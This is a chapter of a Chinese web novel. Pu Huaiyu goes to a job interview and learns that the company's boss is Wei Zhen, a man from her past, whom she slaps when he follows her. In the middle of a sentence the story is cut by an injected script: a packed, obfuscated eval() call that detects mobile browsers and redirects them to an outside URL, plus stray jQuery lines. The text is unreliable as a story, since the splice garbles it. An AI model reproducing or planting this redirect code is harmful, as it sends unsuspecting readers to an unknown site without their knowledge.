有时候,隗祯会觉得自己已经猝死,目光所及的一切不过是无限放缓的走马灯。


    浮华、自信、胜券在握,但这不是隗祯想要的走马灯。他总觉得自己依旧是那个一无所有的心理老师、那个努力周转于上流阶层人士祉间的心理咨询师,和尚在念书的女友磕磕碰碰地生活着,脑海中还会有一个声音解读他们,好不热闹。


    隗祯知道,下属这段时间在公司匿名论坛上吐槽他,说他讲话的口吻莫名其妙像老师。浏览此类消息,隗祯会在心里小声辩驳,自己既不是“莫名其妙”,也不是“搭错神经”,只是因为他有一段底色是现实、笔触却很梦幻的奇遇。


    当然,这次隗祯同样没有管束。他没有神经质到试图管住每个人的嘴,何况现在的他也没先前那般热衷于工作,随便他们私底下怎么讲,人身攻击隗祯都不在乎。


    小玉会怎么用那一百万呢?隗祯总忍不住想这件事。根据他对濮怀玉的了解,她大概会理所当然说一声“我濮怀玉就是运气好”,然后将这笔钱分成很多笔,只有最后那笔小小的经费留给自己。


    对濮怀玉来说,用在珍惜的亲朋好友身上,就等于用在自己身上。其实隗祯希望她能自私一点,但这样才是他认识的小玉。


    一个愿望,换留下一百万,隗祯从来没觉得自己亏。这是他跟系统争执很久的结果,中途甚至遭遇来自主系统的电击,就因为判定到他想利用系统奖励机制留下点具体的东西,而这非常危险。


    而现在,他站在巨大的落地窗前俯瞰燕京的景色,彻底“安全”了。


    ……


    面试当天,濮怀玉随手挽了个低矮的鸡毛丸子头。梳理得干干净净或许是加分项,但她知道这只不过是一场煞有介事的cosplay,即便面试公司会报销车费,她也不想麻烦自己。


    头发留长至今,扎起来平添几分庄重感,用濮曼吟的话说“你的稳重,现在别人也能透过你的外形明白了”。


    至于衣服,濮怀玉不可避免想到关长晖。她再次在心里说他傻,像对待一个心很好、但是劲儿使错方向的好友,如此说不为了泄愤,是为了找个由头亲昵地回应关心。


    衬衣能有什么不一样的,至少乍看没有区别,版型和材质都得仔细观察才能有结果。而这种精细的观察方式在快节奏的社会、尤其是陌生人之间很难达成。


    关长晖设想的“不被欺负”,不可能基于一件看不清品牌的白衬衫,基于的是已经立起来的公司文化和人员的个体素质。他做的是饭店,“松萝”这个品牌能做到如今这个规模,中间肯定打通了不少人脉,关长晖养成先敬罗衣后敬人的习惯不奇怪,但濮怀玉在自己的领域不敢苟同。


    窸窸窣窣之间,濮怀玉扣好了扣子。


    ——她还是会穿的,这种场合都不穿,濮怀玉想不到还能什么时候穿,平时她的style可不是这种。


    时尚领域有个词是怎么形容的?


    “我的天哪,濮怀玉!”冯盈转身,兴奋地锤了一把她的肩膀,“我又见到你的OfficeSiren套装了!”


    哦,确实是这么说的。濮怀玉点点头,其实不是很了解:“毕竟是大公司的面试。”


    说是“办公室海妖”,用“沉稳野心家”这种概括个性而非代表某种商业化fashiontrend的词语形容她,似乎更精确一点。


    骤然兴奋过后,冯盈突然想起抖音上围绕OfficeSiren衍生出的一系列让她不快的穿搭视频,连忙抖了抖脑袋,把这个不那么适合濮怀玉、甚至不太适合定义女生的标签抖出去。


    “很有高智感。”


    “谢谢。”濮怀玉将杂物收拾进包,并在手机上短信回复一直断断续续骚扰她的简晟,写下“我没有时间”,手机熄屏扔进包,一气呵成。


    她扭头询问,“冯盈,你会因为我的提前准备紧张吗?”


    冯盈若有所思:“会有一点。……但是换个角度想,我早知道你已经有单位接收,假如你真的面上了,一定会放弃的。这样的话,我宁愿被选上的是你不是别人。”


    “还有,凭什么我就要把这次机会当做囊中之物?我只敢幻想我们双双收到offer,然后你放弃offer我快快乐乐入职的场面……”


    “不是幻想,说不定不久后就会变成现实。”


    她们先后坐上车。司机是位本地阿姨,用京腔祝福这对一看就是要去面试的女学生“一路顺风,马到成功”,语气和内容都很喜庆。


    路上有点堵,但她们运气还算好,总体还算顺利地到达公司楼下。眼前是一座直插云霄的大厦,光洁的银色切面反射阳光,像是后现代艺术家的装置作品。


    冯盈“嚯”了一声:“原来这栋楼就是我心仪的工作地点……之前路过那么多次,完全不知道。”


    濮怀玉走在前面,冯盈在后面左看右看。既然还没到面试地点,她觉得自己不稳重一点没什么大不了,何况这里真的很“好看”,完全符合她小时候看职场电视剧获得的刻板印象:白领们精干地交接工作,神色匆匆横穿大厅,前台用程式化的礼貌微笑将无关紧要的声音隔绝在外,偶尔会打电话给居于特定楼层的上司确定……太多太多她所向往的“美景”。


    如果不是先前履历不丰富时面试屡屡受挫,有些单位甚至能够简简单单用性别卡掉offer,恐怕冯盈真的以为自己生活在影片描述的美好职场中。


    “走吧,跑起来,电梯要走了。”


    冯盈连忙握住濮怀玉的胳膊,乘着她身上的冲劲挤进电梯:“来了!”


    电梯里的氛围让她感觉到几分安心。面试者很多都是应届生的模样,穿起西装像卖保险的,身上即便擦了香水,也有几分初出茅庐的稚嫩感。


    冯盈能感觉到,电梯里所有人的目光都若有若无往濮怀玉身上聚拢。实在是她有股成熟的大魔王气质,像大佬,西装也很合身。


    事实证明,濮怀玉确实是大佬。


    “叮”。电梯开启,冯盈看到了更多等待面试的人,不出意外都是应届生,这让她有点惊讶——竟然没有前辈身负过往经验,老道地轻松上阵吗?


    “你忘了?招聘要求必须是应届生。”濮怀玉附耳过去,“而且从论坛上看,应该不是先招一堆学生进来然后通通转正失败的无良公司。”


    两个人私底下小声蛐蛐,其实都不那么容易相信一个利益为上的私企能有什么社会责任感。好口碑暂且放在一边,她们都觉得职场pua等一系列通病发生的概率是百分之一百,这种“耗能”难以避免,不过是“充电”的器械比较先进,以及对比起来没那么坏而已。


    真正的好公司会在劳动法的基础上做到更多,她们接触到的绝大多数企业连完成劳动法都够呛,也难怪会这么猜想。


    冯盈看了眼腕表,快要开始了。说话的声音由远及近,她也确实看到形似主管的人靠近,是位年龄在四十岁上下的女性,气质温和内敛,看着谈吐不凡。


    她第一反应是看向濮怀玉,果不其然濮怀玉也在看着她,她们交换了一个眼神,心里都知道对方想表达什么。


    诚然,冯盈在实习过程受过好几位女上司的压榨,在她们的言行举止中有股相当隐秘的刻薄。人是复杂多面的,冯盈当时骂得多狠,入职下一家公司前就会多期待女性高层的出现,像是好了伤疤忘了疼。


    所以这次,她依旧雀跃到想跟濮怀玉击掌的地步——好耶!女上司!


    对濮怀玉老说,有女上司,她想装作随和地笑一笑也不那么难了。


    随后来了个三十岁出头的男性,表情既谄媚又焦急,跟那女上司小声说了两句话,中年女人随即脸色微变。


    濮怀玉觉得她的表情有点熟悉,她之前实习的地方,小组长听说大老板突然要来视察就是这副模样。


    大老板来把控面试也不是什么稀奇事,尤其是在大公司。濮怀玉告诉了冯盈自己的猜想,她原先散漫的神情略一紧缩。


    缺少和她一起参加面试的经验,濮怀玉知道自己失言了,握住她的肩膀道:“看来我不应该告诉你。”


    “……你只是跟我分享你的猜想,而且就算你不说,我看到疑似领导的人也会紧张的。”


    冯盈故作镇定点进企业预警通,半开玩笑说道:“此处应该插入一段广告。所谓知己知彼、百战不殆,我之前竟然忘了看这个。”


    濮怀玉做好了完全的准备,早就看过,但她还是凑近了屏幕,“也让我看——”


    跟之前查看时完全不一样的界面,让她下意识询问“是不是点错界面了”。


    “不会吧,我这肯定是官方的。”


    伴随冯盈手指下滑,濮怀玉看到了一个她以为自己这辈子都不会再看见的名字。


    隗祯。


    这是个有点中性、但绝不常见的名字。


    在濮怀玉发怔的间隙,其余参加面试的应届生已经讨论起来。其中不乏有些门路的卖弄起提前习得的知识,聊起一位“隗总”,成功吸引了周围好几个人的注意力。


    冯盈蹙眉,手机熄屏放到一旁,不忘轻轻扯动濮怀玉的衬衫下摆:“他们这么放松?都这个时间了,还在闲聊。”


    也是在这时,她惊讶地发现濮怀玉以一种前所未有的凝固姿态僵在了座位上,好像这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830392|185205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是一个独自天人交战的长镜头。


    冯盈一直以来都觉得,濮怀玉是个私欲很低的人。她能毫不犹豫以血肉之躯挡在自己面前跟人搏斗,最后还打赢了,足以说明这一点。


    换言之,这是一种“无欲则刚”的结果。


    那么现在,在她心里面,普世层面的伦理正义正在跟怎样的私欲相斗呢?


    冯盈摸不准,因为除此之外濮怀玉还是个很有神秘感的人,就好像整个人一分为二,一半在这里,另一半在其他世界生存过。


    背景里,那些人还在聊顶头上司的家庭。说这位隗总很有背景,因为隗这个姓氏本身就能说明很多问题,祖上显赫到是能在搜索引擎找出具体条目的程度。


    至于隗总本人,说他很年轻,如今年岁不过三十,这家公司是他跟几位当初在美国留学认识的朋友一起创办的,里面最聪明、最有手腕也最有门路的他本人,自然而然成为了一把手。


    冯盈又开始小声吐槽:“喂喂,所以我们是在哪本小说里面吗?用这么多笔墨描述一群普通人对天龙人的崇拜……好恨这些有钱人,面子里子不费吹灰之力都有了。”


    她只知道自己是普通人家的孩子,坐在旁边的濮怀玉亦是,“我才不关心那个什么隗总的创业史、成功学,我只关心我通过努力能有多少钞票和多少假期塞进腰包里。”


    濮怀玉冷不丁直抒胸臆:“我平生,最讨厌天龙人。”


    “那当然。如果说原来你对天龙人的厌恶指数是五,那姓简的可以说成功提升到十了。”


    冯盈从不怀疑她跟濮怀玉是同一条战线上的,林从露和齐央可能或多或少会为这类人煞有介事的成功学说两句话,但濮怀玉百分百不会。


    面试开始了,一个一个走进去又出来。不知道从第几个开始,濮怀玉听到窃窃私语,说那位领导真的来了。


    “我靠我跟你说,我当时差点脱口而出‘能不能别让那个帅哥坐那儿’,我要是没收到这个offer肯定是他害的我舌头打结。不骗你,我大脑空白了有十秒钟,都不知道自己在说什么。”


    同伴很紧张:“啊?这么夸张。我记得你不是准备的挺好吗?”


    “等会儿叫到你,你就知道了,绝对刷新你的认知。”


    冯盈也在观察,忍不住扭头:“难道问了特别多刁钻的问题?唉,说好的良心公司呢,又是超绝压力面……”


    “冯盈。”


    耳畔的声音像是从腹腔里强行挤出般。


    冯盈忍不住关注:“怎么了?”


    她微微皱眉,好像反着胃:“我可能……不能参加这场面试了。”


    冯盈给她顺着气。向来健康的濮怀玉突然如此,冯盈第一反应是“再重要的面试都没有她身体康健重要”,毕竟自己此刻只需要付出宽一点完全可以有的容,而濮怀玉的侧腰上真的有一个刀口。


    “没关系的,你能陪我到现在,我早就不紧张了。你要是愿意的话,可以在附近找一家咖啡店等我……”


    她看着濮怀玉走到负责人面前。那负责人起初不快,说“下一个就是你了”,却在看清她的表情后叹了口气。


    “……主要是今天大老板来。你要是实在不舒服的话,我找个人传句话。我们公司各方面还是很人性化的,肯定能理解的。”


    “谢谢,那我——”


    “你先走吧,身体重要。这次没缘分,等缘分到了,你下次再来试试。”负责人不忘补充,“当然,车费照样报销。你们是学生,来一趟很不容易的,何况你都坐了这么久了。”


    濮怀玉再次道谢,远远对冯盈挥手,从大门到走廊,按下电梯。


    现在是高峰期,电梯没等到,她忍着呕吐的欲|望等来了一阵急促的脚步声。


    对奢侈品颇有见地的人恐怕连皮鞋质地都能听出来,是非常昂贵、非常罕见的材质,但濮怀玉只能辨认出那是一双男士皮鞋。


    紧跟其后,一个陌生的男人手扶着门边出现在她面前,因为急切有些气喘,连同定制西装的纹路一张一合呼吸着。


    一见到这张脸,濮怀玉立马转身改走楼梯。


    “小玉,等等——”


    两个人就像在拍谍战片一样一个追一个跑。放在往常濮怀玉肯定能跑过,但今天她很不舒服。


    不可能的尽头只能是可能,她猜到了,所有的情绪反上来,刺激了她的器官,挤压出难以言说的复杂酸味。


    ”小玉,听我说两句,好不好?”


    男人已经抓到她的手臂,下一秒却被濮怀玉甩开,紧跟其后的是强烈到整个楼层都能听到的巴掌声。


    石破天惊。